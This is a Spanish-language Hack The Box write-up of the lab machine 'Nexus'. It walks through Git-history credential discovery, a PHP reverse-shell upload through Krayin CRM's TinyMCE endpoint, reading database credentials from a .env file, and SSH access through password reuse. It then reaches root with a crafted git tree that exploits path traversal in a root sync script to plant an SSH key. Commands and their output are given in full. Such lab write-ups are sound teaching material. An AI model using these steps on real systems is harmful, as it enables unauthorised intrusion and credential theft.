Descripción

Nexus es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de repositorio Git para encontrar credenciales en el historial de Git
  • Ejecución Remota de Comandos en aplicación web Krayin
  • Pivote de usuario mediante el uso de credenciales Krayin reutilizadas
  • Escalada de Privilegios vía una función sin sanitizar os.path.join en un script de Python de Gitea

Reconocimiento

Primero, vamos a verificar con el comando ping si la máquina está activa y cuál es el sistema operativo del sistema. La dirección IP de la máquina objetivo es 10.129.85.169.

$ ping -c 3 10.129.85.169
PING 10.129.85.169 (10.129.85.169) 56(84) bytes of data.
64 bytes from 10.129.85.169: icmp_seq=1 ttl=63 time=81.7 ms
64 bytes from 10.129.85.169: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.129.85.169: icmp_seq=3 ttl=63 time=46.6 ms

--- 10.129.85.169 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.566/58.541/81.744/16.409 ms

La máquina está activa y con el TTL que es igual a 63 (64 menos 1 salto) podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos Nmap TCP SYN para verificar todos los puertos abiertos.

$ sudo nmap 10.129.85.169 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.169
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds

Obtenemos dos puertos abiertos: 22 y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con la versión de servicio y scripts.

$ nmap 10.129.85.169 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.85.169
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds

Obtenemos dos servicios: uno Secure Shell (SSH) y uno Hypertext Transfer Protocol (HTTP). Dado que no tenemos credenciales viables para el servicio SSH, vamos a pasar al servicio HTTP. Añadimos el dominio nexus.htb al archivo /etc/hosts.

$ echo '10.129.85.169 nexus.htb' | sudo tee -a /etc/hosts

Al verificar el servicio HTTP, encontramos el sitio web de una Autoridad Energética, sin funcionalidad. Cerca del pie de página de la página encontramos una sección de ofertas de trabajo para unirse al equipo. Si hacemos clic en el botón View role, se despliega un diálogo con todos los detalles sobre la oferta. En la oferta se encuentra la dirección de correo electrónico del gerente de contratación, j.matthew@nexus.htb. Procedemos a enumerar los subdominios.

$ gobuster vhost -u http://nexus.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://nexus.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
git.nexus.htb Status: 200 [Size: 14474]
...

Encontramos el subdominio git, lo añadimos al archivo /etc/hosts.

$ echo '10.129.85.169 git.nexus.htb' | sudo tee -a /etc/hosts

Encontramos una instancia de Gitea con un repositorio público, admin/krayin-docker-setup. Al verificar el historial de Git del repositorio encontramos que en el último commit se purgaron credenciales, una contraseña de base de datos, con el valor N27xh!!2ucY04. También encontramos un nuevo subdominio, billing, y lo añadimos al archivo /etc/hosts.

$ echo '10.129.85.169 billing.nexus.htb' | sudo tee -a /etc/hosts

Encontramos una instancia de Krayin, un CRM de código abierto construido sobre Laravel. Es un diálogo de inicio de sesión, pero podemos iniciar sesión con el correo electrónico del gerente de contratación y la contraseña previamente descubierta. Al hacer clic en el avatar de usuario encontramos que la versión utilizada del CMS es 2.2.0.

Explotación

CVE-2026-38526 es una vulnerabilidad crítica de ejecución remota de código autenticada (RCE) que afecta a Webkul Krayin CRM v2.2.x. La falla de seguridad reside dentro del manejador de carga multimedia del lado del administrador (admin-side) de TinyMCE a través del endpoint /admin/tinymce/upload, el cual carece de una validación adecuada de archivos y tipo de contenido en el lado del servidor. Al explotar esta brecha, un atacante conectado con privilegios de bajo nivel puede subir un archivo PHP malicioso, como una web shell, y posteriormente ejecutar código arbitrario del lado del servidor mediante una solicitud web normal, lo que lleva a acceso completo al sistema de archivos, posible compromiso de la base de datos y toma total del servidor.

Podemos explotar la vulnerabilidad componiendo un correo electrónico nuevo, subiendo un adjunto malicioso (archivo PHP), pero con la extensión .png para ser renombrada por un proxy a la extensión .php. Copiamos un archivo de terminal inverso PHP y cambiamos las variables internas.

$ cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.png

Luego accedemos a la sección de composición de correo electrónico a través de la sección Mail > Inbox y luego mediante un clic en el botón Compose Mail. Iniciamos el proxy interceptor y luego subimos el adjunto haciendo clic en el botón ... > Insert/Edit Image > Upload. Luego hacemos clic en el botón Browse for an image. Cambiamos la extensión en el campo filename de la sección form-data de .png a .php. El servidor responde con un objeto JSON con la ubicación del archivo PHP subido, en este caso http://billing.nexus.htb/storage/tinymce/d01a965cb4a3590a9d54f9ef944471bc.php. Desencadenamos la vulnerabilidad iniciando un puerto TCP de escucha con el comando nc -nvlp 1234 y visitando la página subida.

$ curl 'http://billing.nexus.htb/storage/tinymce/d01a965cb4a3590a9d54f9ef944471bc.php'

Recibimos una terminal inversa como el usuario www-data, iniciamos una terminal interactiva.

$ nc -nvlp 1234             
listening on [any] 1234 ...
connect to [10.10.15.254] from (UNKNOWN) [10.129.85.169] 59734
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
 up 34 min,  0 user,  load average: 0.00, 0.01, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ bash -i
bash: cannot set terminal process group (1459): Inappropriate ioctl for device
bash: no job control in this shell
www-data@nexus:/$

Encontramos credenciales para la base de datos en el archivo /var/www/krayin/.env con nombre de usuario krayin y contraseña y27xb3ha!!74GbR.

www-data@nexus:/$ ls -a /var/www/krayin/    
.
..
.editorconfig
.env
.env.example
.gitattributes
.gitignore
CODE_OF_CONDUCT.md
LICENSE
README.md
UPGRADE.md
...
www-data@nexus:/$ cat /var/www/krayin/.env
cat /var/www/krayin/.env
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=
...

Encontramos tres usuarios de consola en el sistema: root, jones y git. La contraseña anterior es reutilizada para el usuario jones y podemos iniciar una nueva sesión como ese usuario usando el protocolo SSH.

$ ssh jones@nexus.htb                      
...
jones@nexus:~$ id
uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

Post-Explotación

La máquina ejecuta un temporizador systemd, gitea-template-sync.timer, que se dispara cada dos minutos y activa gitea-template-sync.service.

jones@nexus:~$ systemctl list-timers
LEFT PASSED UNIT                           ACTIVATES                       
52s 7s ago gitea-template-sync.timer      gitea-template-sync.service
jones@nexus:~$ systemctl cat gitea-template-sync.service
# /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

Ese servicio ejecuta /etc/gitea/template-sync.py como root. El script se autentica en la instancia local de Gitea, busca repositorios marcados como repositorios template, y copia cada archivo del árbol git de la plantilla en un directorio de preparación bajo /home/git/template-staging.

La vulnerabilidad reside en cómo el script reconstruye las rutas de archivo. Lee rutas de archivo directamente desde git ls-tree -r HEAD y las une al directorio de preparación con os.path.join(), sin validar ni sanearlas nunca:

for mode, objhash, filepath in entries:
    target = os.path.join(stage_path, filepath)

Porque filepath está controlado por el atacante (proviene del árbol de un repositorio que posee el atacante), una entrada de árbol git manipulada que contiene secuencias ../ permite que la escritura escape completamente el directorio de preparación. Dado que el script también conserva los permisos de archivo desde el modo blob git:

if mode == '100755':
    os.chmod(target, 0o755)

git en sí mismo no restringe lo que una cadena de entrada de árbol filename contiene cuando el árbol se construye manualmente con comandos, por lo que un árbol malicioso puede contener una entrada cuyo name es en realidad una ruta relativa como ../../../../../root/.ssh/authorized_keys.

Un nuevo repositorio fue creado a través de la interfaz de usuario web de Gitea, con inicio de sesión como jones, utilizando credenciales reutilizadas de la cuenta Linux. Durante la creación, la casilla de verificación Template Repository estaba habilitada. Este flag es lo que hace que la consulta del script de sincronización tome el repositorio como una fuente para procesar. En lugar de usar git add, que sanitiza nombres de archivo, el árbol fue construido manualmente con comandos “plumbing” de Git para que una ruta de entrada del árbol pudiera contener secuencias de recorrido de directorios. La carga útil en sí es una clave pública SSH que será depositada en authorized_keys de root.

$ mkdir evil-template
$ cd evil-template
$ git init
$ git config user.email "jones@nexus.htb"
$ git config user.name "jones"
$ ssh-keygen -t ed25519 -f id_ed25519 -N "" -C "root"
$ BLOB=$(git hash-object -w id_ed25519.pub)

$ T1=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
$ T2=$(printf "040000 tree %s\t.ssh\n" "$T1" | git mktree)
$ T3=$(printf "040000 tree %s\troot\n" "$T2" | git mktree)
$ T4=$(printf "040000 tree %s\t..\n" "$T3" | git mktree)
$ T5=$(printf "040000 tree %s\t..\n" "$T4" | git mktree)
$ T6=$(printf "040000 tree %s\t..\n" "$T5" | git mktree)
$ T7=$(printf "040000 tree %s\t..\n" "$T6" | git mktree)
$ T8=$(printf "040000 tree %s\t..\n" "$T7" | git mktree)

$ COMMIT=$(git commit-tree "$T8" -m "template update")
$ git update-ref refs/heads/main "$COMMIT"

Usar el modo de archivo 100644 mantiene el archivo resultante no ejecutable, lo cual es apropiado para un archivo authorized_keys. Actualizamos el remoto y subimos el archivo al repositorio.

$ git remote add origin http://jones@git.nexus.htb/jones/evil-template.git
$ git push origin main --force

Una vez que el script de sincronización procesa la plantilla maliciosa, escribe la clave pública del atacante en /root/.ssh/authorized_keys como root. Podemos iniciar sesión como usuario root.

$ ssh -i id_ed25519 root@nexus.htb
...
root@nexus:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En el terminal root podemos recuperar las flags user.txt y root.txt.

root@nexus:~# cat /home/jones/user.txt 
<REDACTED>
root@nexus:~# cat /root/root.txt 
<REDACTED>